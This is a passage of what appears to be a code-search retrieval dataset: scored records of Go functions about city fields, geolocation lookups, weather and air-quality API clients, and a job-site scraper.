"66cd8b79885bebfa5932ae760449fede", "score": "0.57164127", "text": "func (o RegisteredDomainTechContactOutput) City() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v RegisteredDomainTechContact) *string { return v.City }).(pulumi.StringPtrOutput)\n}", "title": "" }, { "docid": "2dde4be09d2e6661865fbb4d069dcf03", "score": "0.56858355", "text": "func (h *Handler) cityMessage(s *discordgo.Session, m *discordgo.MessageCreate) {\n\tstr := strings.SplitN(m.Content, \" \", 2)\n\tcity := strings.ToLower(str[1])\n\n\tresult := h.city(m.ChannelID, m.Author.ID, city)\n\tsendMessageReply(s, m, result)\n}", "title": "" }, { "docid": "a43be9d7e634f87acd47a7570bf47466", "score": "0.5677731", "text": "func (m *Organization) GetCity()(*string) {\n return m.city\n}", "title": "" }, { "docid": "51befdba1421c871c1313be64e19eabf", "score": "0.56662005", "text": "func City() string {\n\tbase := text(1, 4, true, false, false, false)\n\treturn base + base\n}", "title": "" }, { "docid": "d0a49ae9728132aa5de81c661c95fed7", "score": "0.5643551", "text": "func ParseCompanyInfo(Job string, FinishChan chan bool) {\n\tURL := fmt.Sprintf(\"https://townwork.net%v\", Job)\n\tinfo := CompanyInfo{}\n\tdoc, err := goquery.NewDocument(URL)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\tdoc.Find(\"dl.job-ditail-tbl-inner\").Each(func(i int, s *goquery.Selection) {\n\t\tif s.Find(\"dt\").Text() == \"社名(店舗名)\" {\n\t\t\tinfo.Name = s.Find(\"dd p\").Text()\n\t\t}\n\t\tif s.Find(\"dt\").Text() == \"会社事業内容\" {\n\t\t\tinfo.Business = s.Find(\"dd p\").Text()\n\t\t}\n\t\tif s.Find(\"dt\").Text() == \"会社住所\" {\n\t\t\tinfo.Address = s.Find(\"dd p\").Text()\n\t\t}\n\t\tif s.Find(\"dt\").Text() == \"問い合わせ番号\" {\n\t\t\t// info.Phone = strings.TrimSpace(s.Find(\"p.detail-tel-ttl\").Text())\n\t\t\t// info.Phone = strings.TrimSpace(s.Find(\"span.detail-tel-ico\").Text())\n\t\t\ts.Find(\"span.detail-tel-ico\").Each(func(i int, t *goquery.Selection) {\n\t\t\t\tif len(info.Phone) == 0 {\n\t\t\t\t\tinfo.Phone += t.Text()\n\t\t\t\t} else {\n\t\t\t\t\tinfo.Phone += \", \" + t.Text()\n\t\t\t\t}\n\t\t\t})\n\t\t}\n\t\tif len(info.Phone) == 0 {\n\t\t\tinfo.Phone = strings.TrimSpace(s.Find(\"p.detail-tel-ttl\").Text())\n\t\t}\n\t\tinfo.URL = Job\n\t})\n\tinfo.Write2Redis()\n\t// info.WriteJsonRedis(\"COMPANY_LIST_3\")\n\t// inform finish\n\tFinishChan <- true\n}", "title": "" }, { "docid": "640404a9128df4920b6bcda5b644a2b0", "score": "0.5635417", "text": "func getQueryGetCityInfoByID() string {\n\treturn `SELECT geoname_id, country_iso_code, subdivision_1_iso_code, city_name FROM cities_en WHERE geoname_id=$1;`\n}", "title": "" }, { "docid": "af9e0662934fb4e7aec77cd210ca9a8b", "score": "0.56212217", "text": "func (o *IdentityVerificationDocumentAddressResponse) GetCity() string {\n\tif o == nil {\n\t\tvar ret string\n\t\treturn ret\n\t}\n\n\treturn o.City\n}", "title": "" }, { "docid": "18360103b7d6ba578387f100f4b09067", "score": "0.5617741", "text": "func (r *RajaOngkir) GetCities() ([]City, error) {\n\tre := &citiesResponse{}\n\terr := r.sendRequest(http.MethodGet, cityEndpoint, \"\", re)\n\tif err != nil {\n\t\treturn []City{}, err\n\t}\n\tcities := re.Rajaongkir.Results\n\treturn cities, nil\n}", "title": "" }, { "docid": "b0e9747c75004e785ed01f6d810a7345", "score": "0.5606814", "text": "func (o *BankConnectionOwner) GetCity() string {\n\tif o == nil || o.City.Get() == nil {\n\t\tvar ret string\n\t\treturn ret\n\t}\n\n\treturn *o.City.Get()\n}", "title": "" }, { "docid": "64427b53e2a851640d121edcf2a0e16a", "score": "0.55930585", "text": "func (s *Server) GetListOfCities(ctx context.Context, in *infoRPC.GetCitiesRequest) (*infoRPC.ListOfCities, error) {\n\tafter, err := strconv.Atoi(in.GetAfter())\n\tif err != nil {\n\t\tafter = 0 // FIXME: find the better way\n\t}\n\n\tlang := s.retriveUILang(ctx)\n\tif lang == \"\" {\n\t\tlang = \"en\"\n\t}\n\n\tresult, err := s.db.GetListOfCitiesNew(ctx, lang, in.GetCountryIso(), in.GetFindCity(), int(in.GetFirst()), after)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tcities := make([]*infoRPC.City, 0)\n\tfor i := 0; i < len(*result); i++ {\n\t\tcities = append(cities, &infoRPC.City{\n\t\t\tId: (*result)[i].Id,\n\t\t\tTitle: func() string {\n\t\t\t\tif (*result)[i].City != nil {\n\t\t\t\t\treturn *(*result)[i].City\n\t\t\t\t}\n\t\t\t\treturn \"\"\n\t\t\t}(),\n\t\t\tSubdivision: func() string {\n\t\t\t\tif (*result)[i].Subdivision != nil {\n\t\t\t\t\treturn *(*result)[i].Subdivision\n\t\t\t\t}\n\t\t\t\treturn \"\"\n\t\t\t}(),\n\t\t\tCountry: func() string {\n\t\t\t\tif (*result)[i].Country != nil {\n\t\t\t\t\treturn *(*result)[i].Country\n\t\t\t\t}\n\t\t\t\treturn \"\"\n\t\t\t}(),\n\t\t},\n\t\t)\n\t}\n\n\treturn &infoRPC.ListOfCities{Cities: cities}, nil\n}", "title": "" }, { "docid": "4893382c7ffe0ed9ab7d5910751ba0b2", "score": "0.5547306", "text": "func (c *Client) GetCities(state string) ([]string, error) {\n\tctx, cancel := context.WithTimeout(context.Background(), timeout*time.Second)\n\tdefer cancel()\n\tvar location descritor.Location\n\tfilter := bson.M{\"state\": state}\n\tif err := c.client.Database(c.dbName).Collection(descritor.LocationsCollection).FindOne(ctx, filter).Decode(&location); err != nil {\n\t\treturn nil, exception.New(exception.NotFound, fmt.Sprintf(\"Falha ao buscar estados disponíveis do banco na collection [%s], erro %q\", descritor.LocationsCollection, err), nil)\n\t}\n\tsort.Strings(location.Cities) // TODO get it sorted from MongoDB?\n\treturn location.Cities, nil\n}", "title": "" }, { "docid": "5913f0a03ed39eda235dedd76b539489", "score": "0.55340695", "text": "func (o LookupUserResultOutput) City() pulumi.StringOutput {\n\treturn o.ApplyT(func(v LookupUserResult) string { return v.City }).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "5d163eb12d48fe6c31a81d0031e88429", "score": "0.5494652", "text": "func (o RegisteredDomainRegistrantContactOutput) City() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v RegisteredDomainRegistrantContact) *string { return v.City }).(pulumi.StringPtrOutput)\n}", "title": "" }, { "docid": "6d9b87eff5a729826dac09b04acbf83a", "score": "0.54816204", "text": "func (o *MicrosoftGraphSignInLocation) GetCity() string {\n\tif o == nil || o.City == nil {\n\t\tvar ret string\n\t\treturn ret\n\t}\n\treturn *o.City\n}", "title": "" }, { "docid": "5d8faacea1cc9767226a7ffe201827f3", "score": "0.5477651", "text": "func (o *BeaconUserRequestAddress) GetCity() string {\n\tif o == nil {\n\t\tvar ret string\n\t\treturn ret\n\t}\n\n\treturn o.City\n}", "title": "" }, { "docid": "0e537937af5fe5f9042037d309b3b898", "score": "0.5452582", "text": "func GetWeatherData(url string)(*City){\n\tres := FetchResponse(url)\n\tbody := ResponseBodyToByte(res)\n\tUnmarshalBodyToPointer(body, &berlin)\n\t//fmt.Println(berlin)\n\treturn &berlin\n\t\n}", "title": "" }, { "docid": "37be5aad74e2248fe90cf27b986e82a2", "score": "0.5441588", "text": "func (s *StreetAddr) City() string {\n\treturn s.CityName\n}", "title": "" }, { "docid": "21244a3779b96319328727d4f7d4f369", "score": "0.54402965", "text": "func (o *MicrosoftGraphSignInLocation) GetCityOk() (string, bool) {\n\tif o == nil || o.City == nil {\n\t\tvar ret string\n\t\treturn ret, false\n\t}\n\treturn *o.City, true\n}", "title": "" }, { "docid": "d90aca5672586cd0c7fe379783dd52a2", "score": "0.54296696", "text": "func (o *IdentityVerificationDocumentAddressResponse) GetCityOk() (*string, bool) {\n\tif o == nil {\n\t\treturn nil, false\n\t}\n\treturn &o.City, true\n}", "title": "" }, { "docid": "602863f30fe986816b936a11f674c474", "score": "0.5429273", "text": "func (wc *SynchronousWeatherService) GetCityWeather(cities []string) (*WeatherReports, error) {\n\tresult := WeatherReports{\n\t\tReports: make(map[string]*CityReport),\n\t}\n\n\t// loop and call repeatedly for now. There may be ways to make a single call to do this\n\tfor _, city := range cities {\n\t\treport, err := wc.getSingleCityWeather(city)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tresult.Reports[city] = report\n\t}\n\treturn &result, nil\n}", "title": "" }, { "docid": "3ec4814a8f9012f3369b9439207859a9", "score": "0.5382169", "text": "func (o *BankConnectionOwner) GetCityOk() (*string, bool) {\n\tif o == nil {\n\t\treturn nil, false\n\t}\n\treturn o.City.Get(), o.City.IsSet()\n}", "title": "" }, { "docid": "a11d17c9cdc804e52145c7a60d31f6b4", "score": "0.5374658", "text": "func (o *CompanyFiscalInfoAddressResponse) GetCityOk() (*string, bool) {\n\tif o == nil || IsNil(o.City) {\n\t\treturn nil, false\n\t}\n\treturn o.City, true\n}", "title": "" }, { "docid": "e949e121d4dbfd2925d818615b9d8439", "score": "0.5357919", "text": "func (o *BeaconUserRequestAddress) GetCityOk() (*string, bool) {\n\tif o == nil {\n\t\treturn nil, false\n\t}\n\treturn &o.City, true\n}", "title": "" }, { "docid": "315d36a80bd1403f0d07fba0a228357a", "score": "0.53554326", "text": "func (_this *PaymentAddress) City() string {\n\tvar ret string\n\tvalue := _this.Value_JS.Get(\"city\")\n\tret = (value).String()\n\treturn ret\n}", "title": "" }, { "docid": "7a630cae6c32e293fd4e90046a93cf2a", "score": "0.5344946", "text": "func (o *PartnerEndCustomerAddress) GetCityOk() (*string, bool) {\n\tif o == nil || o.City == nil {\n\t\treturn nil, false\n\t}\n\treturn o.City, true\n}", "title": "" }, { "docid": "58a4625d6a971b6d7a88e5bf2279fafc", "score": "0.53323525", "text": "func (o RegisteredDomainAdminContactOutput) City() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v RegisteredDomainAdminContact) *string { return v.City }).(pulumi.StringPtrOutput)\n}", "title": "" }, { "docid": "cdb8d2832bef19e83d01a5bb84d41434", "score": "0.5329143", "text": "func (svc *Rekognition) GetCelebrityInfoByID(id string) (*CelebrityInfoResponse, error) {\n\treturn svc.getCelebrityInfo(&SDK.GetCelebrityInfoInput{\n\t\tId: pointers.String(id),\n\t})\n}", "title": "" }, { "docid": "3894dc7a98d442e90bc35429c8d97a7d", "score": "0.53110373", "text": "func (o *IncomeVerificationPrecheckEmployerAddressData) GetCity() string {\n\tif o == nil || o.City == nil {\n\t\tvar ret string\n\t\treturn ret\n\t}\n\treturn *o.City\n}", "title": "" }, { "docid": "1f513032603ee8100b3c1f74443871e1", "score": "0.53018105", "text": "func (o *MicrosoftGraphSignInLocation) SetCity(v string) {\n\to.City = &v\n}", "title": "" }, { "docid": "ce58e6df21b161e3aa94d20ef69c7786", "score": "0.5285725", "text": "func (a *Alien) City() config.CityName {\n\treturn a.city\n}", "title": "" }, { "docid": "d3adc4ca3829b318d338bb19c200d718", "score": "0.5284054", "text": "func (o *PartnerEndCustomerAddress) GetCity() string {\n\tif o == nil || o.City == nil {\n\t\tvar ret string\n\t\treturn ret\n\t}\n\treturn *o.City\n}", "title": "" }, { "docid": "f1ff550e416c24458851d9a99f077137", "score": "0.528094", "text": "func (o RegisteredDomainTechContactPtrOutput) City() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v *RegisteredDomainTechContact) *string {\n\t\tif v == nil {\n\t\t\treturn nil\n\t\t}\n\t\treturn v.City\n\t}).(pulumi.StringPtrOutput)\n}", "title": "" }, { "docid": "41c0e8c12a2da861daef22017b7d9560", "score": "0.5254393", "text": "func (o *CustomerShippingContactsAddress) GetCityOk() (*string, bool) {\n\tif o == nil || IsNil(o.City) {\n\t\treturn nil, false\n\t}\n\treturn o.City, true\n}", "title": "" }, { "docid": "e7622c335b66b43a8eae12ea28e5a217", "score": "0.52317643", "text": "func (w *World) Cities() []*WorldCity {\n\tcities := w.citiesRepo.GetAll()\n\treturn w.wrapCities(cities)\n}", "title": "" }, { "docid": "aa30da48e89733cf197f2ba559d869d6", "score": "0.522459", "text": "func ParseCity(contents []byte, _ string) engine.ParseResult {\n\n\tmatches := cityRe.FindAllSubmatch(contents, -1)\n\n\tresult := engine.ParseResult{}\n\n\tfor _, m := range matches {\n\t\t//result.Items = append(result.Items, \"User: \"+name)\n\t\tresult.Requests = append(result.Requests, engine.Request{\n\t\t\tUrl: string(m[1]),\n\t\t\tParser: CreateProfileParser(string(m[2])),\n\t\t})\n\t}\n\n\treturn result\n}", "title": "" }, { "docid": "2b7c4dc63905948320a90bf4026d40f1", "score": "0.5211197", "text": "func (dgCl *DGClient) GetCity(id string) (CityRep, error){\n\tgetCityTempl := `{\n city(func: eq(cartodb_id, $id)) {\n name\n geo\n cartodb_id\n population\n }\n }`\n\n\treqMap := make(map[string]string)\n\treqMap[\"$id\"] = id\n\n\tvar city CityRep\n\terr := sendRequest(dgCl, &getCityTempl, &reqMap, &city)\n\treturn city, err\n}", "title": "" }, { "docid": "002891deb2273f5788cb046e80679453", "score": "0.5209614", "text": "func (o *IdentityVerificationDocumentAddressResponse) SetCity(v string) {\n\to.City = v\n}", "title": "" }, { "docid": "dd33ddce756d546787287b97c0cc2da0", "score": "0.519643", "text": "func (m *PhysicalOfficeAddress) GetCity()(*string) {\n val, err := m.GetBackingStore().Get(\"city\")\n if err != nil {\n panic(err)\n }\n if val != nil {\n return val.(*string)\n }\n return nil\n}", "title": "" }, { "docid": "af3c2a13f7dae455d78f3b47fd311c55", "score": "0.5176373", "text": "func (h *Handler) citySlash(s *discordgo.Session, i *discordgo.InteractionCreate) {\n\tuserID := interactionUserID(i)\n\n\tcity := strings.ToLower(i.ApplicationCommandData().Options[0].StringValue())\n\tresult := h.city(i.ChannelID, userID, city)\n\tsendRespond(s, i, result)\n}", "title": "" }, { "docid": "2913c1547429fe8f4b1895be7e740226", "score": "0.5175028", "text": "func Example() {\n\tdb, err := Open(\"test-data/test-data/GeoIP2-City-Test.mmdb\")\n\tif err != nil {\n\t\tlog.Panic(err)\n\t}\n\tdefer db.Close()\n\t// If you are using strings that may be invalid, check that ip is not nil\n\tip := net.ParseIP(\"81.2.69.142\")\n\trecord, err := db.City(ip)\n\tif err != nil {\n\t\tlog.Panic(err)\n\t}\n\tfmt.Printf(\"Portuguese (BR) city name: %v\\n\", record.City.Names[\"pt-BR\"])\n\tfmt.Printf(\"English subdivision name: %v\\n\", record.Subdivisions[0].Names[\"en\"])\n\tfmt.Printf(\"Russian country name: %v\\n\", record.Country.Names[\"ru\"])\n\tfmt.Printf(\"ISO country code: %v\\n\", record.Country.IsoCode)\n\tfmt.Printf(\"Time zone: %v\\n\", record.Location.TimeZone)\n\tfmt.Printf(\"Coordinates: %v, %v\\n\", record.Location.Latitude, record.Location.Longitude)\n\t// Output:\n\t// Portuguese (BR) city name: Londres\n\t// English subdivision name: England\n\t// Russian country name: Великобритания\n\t// ISO country code: GB\n\t// Time zone: Europe/London\n\t// Coordinates: 51.5142, -0.0931\n}", "title": "" }, { "docid": "17c92e80f67235e4b0ab59ad3e03d7fb", "score": "0.51713425", "text": "func (wc *SynchronousWeatherService) getSingleCityWeather(city string) (*CityReport, error) {\n\tlog.Debugf(\"Fetching weather for city '%s'\", city)\n\n\tfullUrl := wc.buildUrl(city)\n\n\tlog.Info(fullUrl)\n\treq, reqRrr := http.NewRequest(\"GET\", fullUrl, nil)\n\tif reqRrr != nil {\n\t\treturn nil, reqRrr\n\t}\n\n\tresp, callErr := wc.Client.Do(req)\n\tif callErr != nil {\n\t\treturn nil, callErr\n\t}\n\n\tif resp.StatusCode == http.StatusOK {\n\t\treturn createReport(resp)\n\t} else if resp.StatusCode == http.StatusNotFound {\n\t\tlog.Warnf(\"City '%s' not found. No weather data returned.\", city)\n\t\treturn &CityReport{\n\t\t\tDescription: \"not found\",\n\t\t}, nil\n\t}\n\n\treturn nil, errors.Errorf(\"Weather API error: %d\", resp.StatusCode)\n}", "title": "" }, { "docid": "30543c70b3980863cb27daa3499b55c1", "score": "0.51709545", "text": "func (a *Address) GetCity() (value string) {\n\tif a == nil {\n\t\treturn\n\t}\n\treturn a.City\n}", "title": "" }, { "docid": "83d1e977d73fc731e0e3442fa3eede9d", "score": "0.5162574", "text": "func (s *Service) unicomInfoc(mobiApp, usermob, ip string, build, orderType int, now time.Time) {\n\tselect {\n\tcase s.logCh <- orderInfoc{usermob, strconv.Itoa(orderType), ip, mobiApp, strconv.Itoa(build), strconv.FormatInt(now.Unix(), 10)}:\n\tdefault:\n\t\tlog.Warn(\"unicomInfoc log buffer is full\")\n\t}\n}", "title": "" }, { "docid": "c0b3a61109a896ca6681f68ebb827209", "score": "0.5159793", "text": "func (o *CustomerShippingContactsAddress) GetCity() string {\n\tif o == nil || IsNil(o.City) {\n\t\tvar ret string\n\t\treturn ret\n\t}\n\treturn *o.City\n}", "title": "" }, { "docid": "788740c71742efe900d7e1fdba663fd1", "score": "0.51489365", "text": "func City() string {\r\n\tcity := lookup(lang, \"cities\", true)\r\n\tswitch r.Intn(5) {\r\n\tcase 0:\r\n\t\treturn join(cityPrefix(), city)\r\n\tcase 1:\r\n\t\treturn join(city, citySuffix())\r\n\tdefault:\r\n\t\treturn city\r\n\t}\r\n}", "title": "" }, { "docid": "005526c6710f3c48af912edf1846e67c", "score": "0.514603", "text": "func (o *SearchRestaurants200ResponseRestaurantsInnerAddress) GetCity() string {\n\tif o == nil || o.City == nil {\n\t\tvar ret string\n\t\treturn ret\n\t}\n\treturn *o.City\n}", "title": "" }, { "docid": "cf358b22f94fad0e7792f40c76426985", "score": "0.5141518", "text": "func (o *IncomeVerificationPrecheckEmployerAddressData) GetCityOk() (*string, bool) {\n\tif o == nil || o.City == nil {\n\t\treturn nil, false\n\t}\n\treturn o.City, true\n}", "title": "" }, { "docid": "2f8e75d75aca7b51333370a0689158e8", "score": "0.5100655", "text": "func (r *RajaOngkir) GetCity(provinceID, cityID string) (City, error) {\n\tif provinceID == \"\" || cityID == \"\" {\n\t\treturn City{}, fmt.Errorf(\"provinceID/cityID must be specified\")\n\t}\n\tre := &cityResponse{}\n\tendpoint := fmt.Sprintf(\"%s?province=%s&id=%s\", cityEndpoint, provinceID, cityID)\n\terr := r.sendRequest(http.MethodGet, endpoint, \"\", re)\n\tif err != nil {\n\t\treturn City{}, err\n\t}\n\tcity := re.Rajaongkir.Results\n\treturn city, nil\n}", "title": "" }, { "docid": "9c2c79d0ca4f53571988c545dc44f804", "score": "0.50741756", "text": "func (o RegisteredDomainRegistrantContactPtrOutput) City() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v *RegisteredDomainRegistrantContact) *string {\n\t\tif v == nil {\n\t\t\treturn nil\n\t\t}\n\t\treturn v.City\n\t}).(pulumi.StringPtrOutput)\n}", "title": "" }, { "docid": "53ecbb7de8e692eeced2089f774d8a18", "score": "0.50644034", "text": "func (s *AntidoteAPI) GetCurriculumInfo(ctx context.Context, filter *pb.CurriculumFilter) (*pb.CurriculumInfo, error) {\n\tspan := ot.StartSpan(\"api_curriculum_getinfo\", ext.SpanKindRPCClient)\n\tdefer span.Finish()\n\n\tcurriculum, err := s.Db.GetCurriculum(span.Context())\n\tif err != nil {\n\t\tspan.LogFields(log.Error(err))\n\t\text.Error.Set(span, true)\n\t\treturn nil, errors.New(\"Problem retrieving curriculum details\")\n\t}\n\n\treturn &pb.CurriculumInfo{\n\t\tName: curriculum.Name,\n\t\tDescription: curriculum.Description,\n\t\tWebsite: curriculum.Website,\n\t\tAVer: curriculum.AVer,\n\t\tGitRoot: curriculum.GitRoot,\n\t}, nil\n}", "title": "" }, { "docid": "7b8ace9f377bb05f844bb3f65a79149d", "score": "0.5034082", "text": "func (o *PeopleJsonPersonAddress) GetCity() string {\n\tif o == nil || o.City == nil {\n\t\tvar ret string\n\t\treturn ret\n\t}\n\treturn *o.City\n}", "title": "" }, { "docid": "989d9b614472548b97170d9994e3bf62", "score": "0.5029789", "text": "func (u *BranchUsecase) GetAllCities(ctx context.Context) ([]entities.City, error) {\n\tctx, cancelFunc := context.WithCancel(ctx)\n\tcities, err := u.BranchRepo.GetCities(ctx)\n\tif err != nil {\n\t\terr = errors.Wrap(err, \"error getting cities\")\n\t\tlog.Error(err)\n\t\tcancelFunc()\n\t\treturn nil, err\n\t}\n\tcancelFunc()\n\treturn cities, nil\n}", "title": "" }, { "docid": "deff4e60282a772719c5891e0daef134", "score": "0.5004383", "text": "func (a *Client) GetCurrentByCityName(params *GetCurrentByCityNameParams, authInfo runtime.ClientAuthInfoWriter) (*GetCurrentByCityNameOK, error) {\n\t// TODO: Validate the params before sending\n\tif params == nil {\n\t\tparams = NewGetCurrentByCityNameParams()\n\t}\n\n\tresult, err := a.transport.Submit(&runtime.ClientOperation{\n\t\tID: \"getCurrentByCityName\",\n\t\tMethod: \"GET\",\n\t\tPathPattern: \"/data/2.5/weather?q={q}\",\n\t\tProducesMediaTypes: []string{\"application/json\"},\n\t\tConsumesMediaTypes: []string{\"application/json\"},\n\t\tSchemes: []string{\"https\"},\n\t\tParams: params,\n\t\tReader: &GetCurrentByCityNameReader{formats: a.formats},\n\t\tAuthInfo: authInfo,\n\t\tContext: params.Context,\n\t\tClient: params.HTTPClient,\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tsuccess, ok := result.(*GetCurrentByCityNameOK)\n\tif ok {\n\t\treturn success, nil\n\t}\n\t// unexpected success response\n\tunexpectedSuccess := result.(*GetCurrentByCityNameDefault)\n\treturn nil, runtime.NewAPIError(\"unexpected success response: content available as default response in error\", unexpectedSuccess, unexpectedSuccess.Code())\n}", "title": "" }, { "docid": "99bccb519c261709711fc55545cdbe15", "score": "0.4991199", "text": "func (o *CompanyFiscalInfoAddressResponse) SetCity(v string) {\n\to.City = &v\n}", "title": "" }, { "docid": "41eaeb874e2b65dbc062af61b89fd8b5", "score": "0.4979217", "text": "func (o *SearchRestaurants200ResponseRestaurantsInnerAddress) GetCityOk() (*string, bool) {\n\tif o == nil || o.City == nil {\n\t\treturn nil, false\n\t}\n\treturn o.City, true\n}", "title": "" }, { "docid": "fd3e494892a929b665bc52d0706a2287", "score": "0.49708766", "text": "func (ts3 *Connection) ChannelInfo(channel *Channel) error {\n\tresponse, err := ts3.SendCommand(fmt.Sprintf(\"channelinfo cid=%d\", channel.Cid))\n\tif ts3Err, ok := err.(*Error); ok && ts3Err.Id == 0 {\n\t\t_, err := channel.Deserialize(response)\n\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "9bd0cf8c17018f9603b04068986da060", "score": "0.4970756", "text": "func (dgCl *DGClient) GetCitiesAround(pos []float64, dist uint64) (CitiesRep, error){\n\tminLat, minLong, maxLat, maxLong := getBoundingBox(pos[0], pos[1], float64(dist))\n\n\tbndBox := [5][2]float64{\n\t\t{minLong, minLat},\n\t\t{maxLong, minLat},\n\t\t{maxLong, maxLat},\n\t\t{minLong, maxLat},\n\t\t{minLong, minLat},\n\t}\n\n\tvar buffer bytes.Buffer\n\tbuffer.WriteString(\"[[\")\n\tfor i := 0 ; i < 5; i++ {\n\t\tif i != 0 {\n\t\t\tbuffer.WriteString(\", \")\n\t\t}\n\t\tbuffer.WriteString(\"[\")\n\t\tfor j := 0; j < 2; j++ {\n\t\t\tif j != 0 {\n\t\t\t\tbuffer.WriteString(\", \")\n\t\t\t}\n\t\t\tbuffer.WriteString(strconv.FormatFloat(bndBox[i][j], 'f', -1, 64))\n\t\t}\n\t\tbuffer.WriteString(\"]\")\n\t}\n\tbuffer.WriteString(\"]]\")\n\n\tgetCitiesAroundTempl := `{\n cities(func: within(geo, $bndBox)) {\n name\n geo\n cartodb_id\n population\n }\n }`\n\n\treqMap := make(map[string]string)\n\treqMap[\"$bndBox\"] = buffer.String()\n\n\tvar cities CitiesRep\n\terr := sendRequest(dgCl, &getCitiesAroundTempl, &reqMap, &cities)\n\treturn cities, err\n}", "title": "" }, { "docid": "4066b76e4ec9d621b4ba483e3b36088b", "score": "0.49671444", "text": "func (o *BankConnectionOwner) SetCity(v string) {\n\to.City.Set(&v)\n}", "title": "" }, { "docid": "497bac741ef795444bcc95c4751e2133", "score": "0.49635303", "text": "func GetCity(w http.ResponseWriter, r *http.Request, p httprouter.Params) {\n\tdefer r.Body.Close()\n\tif _, ok := checkJwt(w, r, db.UserRoleAny); !ok {\n\t\treturn\n\t}\n\tvar id int64\n\tvar ok bool\n\tif id, ok = getInt64FromPath(w, p, \"id\", \"Bad value of ID\"); !ok {\n\t\treturn\n\t}\n\tvar maxComments int\n\tif maxComments, ok = getIntFromQuery(w, r, \"max-comments\", -1, \"Bad value for max-comments\"); !ok {\n\t\treturn\n\t}\n\tcity, _, err := db.GetCityByID(id, maxComments)\n\tif err != nil {\n\t\thandleErrors(w, err, err,\n\t\t\terrorHandling{\n\t\t\t\terr: &db.NotFoundError{},\n\t\t\t\tstatus: http.StatusNotFound,\n\t\t\t})\n\t\treturn\n\t}\n\tserializeResponse(w, city)\n}", "title": "" }, { "docid": "92382854d6827f23344748e73862f245", "score": "0.4927032", "text": "func (ext *ExtensionAqicn) queryAqicn(city, transport string) string {\n\ttoken := ext.bot.GetVar(\"aqicnToken\")\n\tif token == \"\" {\n\t\text.bot.Log.Errorf(\"Aqicn.org Token key not set! Set the 'aqicnToken' variable in the bot.\")\n\t}\n\n\t// Check if we have this cached.\n\tcacheKey := transport + city\n\tif cached, exists := ext.resultCache[cacheKey]; exists {\n\t\treturn cached\n\t}\n\n\terr, _, body := ext.bot.GetPageBody(\n\t\tfmt.Sprintf(\n\t\t\t\"https://api.waqi.info/search/?token=%s&keyword=%s\",\n\t\t\ttoken, strings.Replace(url.QueryEscape(city), \"+\", \"%20\", -1),\n\t\t), nil)\n\tif err != nil {\n\t\text.bot.Log.Errorf(\"Error getting Aqicn data: %s\", err)\n\t\treturn \"\"\n\t}\n\n\tsearchResult := aqiSearchResult{Status: \"\", Data: []aqiSearchData{}}\n\t// Decode JSON.\n\tif err := json.Unmarshal(body, &searchResult); err != nil {\n\t\text.bot.Log.Errorf(\"Error loading Aqicn.org data for %s: %s\", city, err)\n\t\treturn \"\"\n\t}\n\n\t// Check response.\n\tif len(searchResult.Data) == 0 {\n\t\treturn ext.bot.Texts.SearchNoResults\n\t} else {\n\t\text.bot.Log.Infof(\"Found %d stations for city '%s'.\", len(searchResult.Data), city)\n\t}\n\t// Limit number of stations to five.\n\tif len(searchResult.Data) > 5 {\n\t\tsearchResult.Data = searchResult.Data[:5]\n\t}\n\n\t// Gather data for each station.\n\tresult := []string{}\n\tif transport == \"mattermost\" {\n\t\tresult = append(result, \"\\n\\n| Station | AQI | PM₂₅| PM₁₀ | O₃ | NO₂ |\")\n\t\tresult = append(result, \"| -----: | :----: | :----: | :----:| :----: | :----: | :----: |\")\n\t}\n\tfor _, station := range searchResult.Data {\n\t\turl := fmt.Sprintf(\"http://api.waqi.info/feed/@%d/?token=%s\", station.Uid, token)\n\t\text.bot.Log.Warnf(url)\n\t\terr, _, body := ext.bot.GetPageBody(\n\t\t\tfmt.Sprintf(\"http://api.waqi.info/feed/@%d/?token=%s\", station.Uid, token), nil)\n\t\tif err != nil {\n\t\t\text.bot.Log.Errorf(\"Error getting Aqicn data: %s\", err)\n\t\t\tcontinue\n\t\t}\n\t\tqueryResult := aqiQueryResult{\"\", aqiData{City: aqiCity{}, Iaqi: aqiIaqi{}}}\n\t\t// Decode JSON.\n\t\tif err := json.Unmarshal(body, &queryResult); err != nil {\n\t\t\text.bot.Log.Errorf(\"Error loading Aqicn.org data for %d: %s\", station.Uid, err)\n\t\t} else {\n\t\t\tif transport == \"mattermost\" {\n\t\t\t\tline := fmt.Sprintf(\"| [%s](http://aqicn.org/city/@%d) | \", queryResult.Data.City.Name, station.Uid)\n\t\t\t\tline += ext.format(\"aqi\", float64(queryResult.Data.Aqi))\n\t\t\t\tline += ext.format(\"pm25\", float64(queryResult.Data.Iaqi.Pm25.V))\n\t\t\t\tline += ext.format(\"pm10\", float64(queryResult.Data.Iaqi.Pm10.V))\n\t\t\t\tline += ext.format(\"o3\", float64(queryResult.Data.Iaqi.O3.V))\n\t\t\t\tline += ext.format(\"no2\", float64(queryResult.Data.Iaqi.No2.V))\n\t\t\t\tresult = append(result, line)\n\t\t\t} else {\n\t\t\t\tresult = append(result, fmt.Sprintf(\n\t\t\t\t\t\"%s - AQI: %d, PM10: %.f, PM25: %.f\",\n\t\t\t\t\tqueryResult.Data.City.Name, queryResult.Data.Aqi,\n\t\t\t\t\tqueryResult.Data.Iaqi.Pm10.V, queryResult.Data.Iaqi.Pm25.V),\n\t\t\t\t)\n\t\t\t}\n\t\t}\n\t}\n\tfinalResult := \"\"\n\tif transport == \"mattermost\" {\n\t\tfinalResult = strings.Join(result, \"\\n\")\n\t} else {\n\t\tfinalResult = strings.Join(result, \" | \")\n\t}\n\text.resultCache[cacheKey] = finalResult\n\treturn finalResult\n}", "title": "" }, { "docid": "2dc233f7672b875242f78e255c07b797", "score": "0.49126798", "text": "func (o RegisteredDomainAdminContactPtrOutput) City() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v *RegisteredDomainAdminContact) *string {\n\t\tif v == nil {\n\t\t\treturn nil\n\t\t}\n\t\treturn v.City\n\t}).(pulumi.StringPtrOutput)\n}", "title": "" }, { "docid": 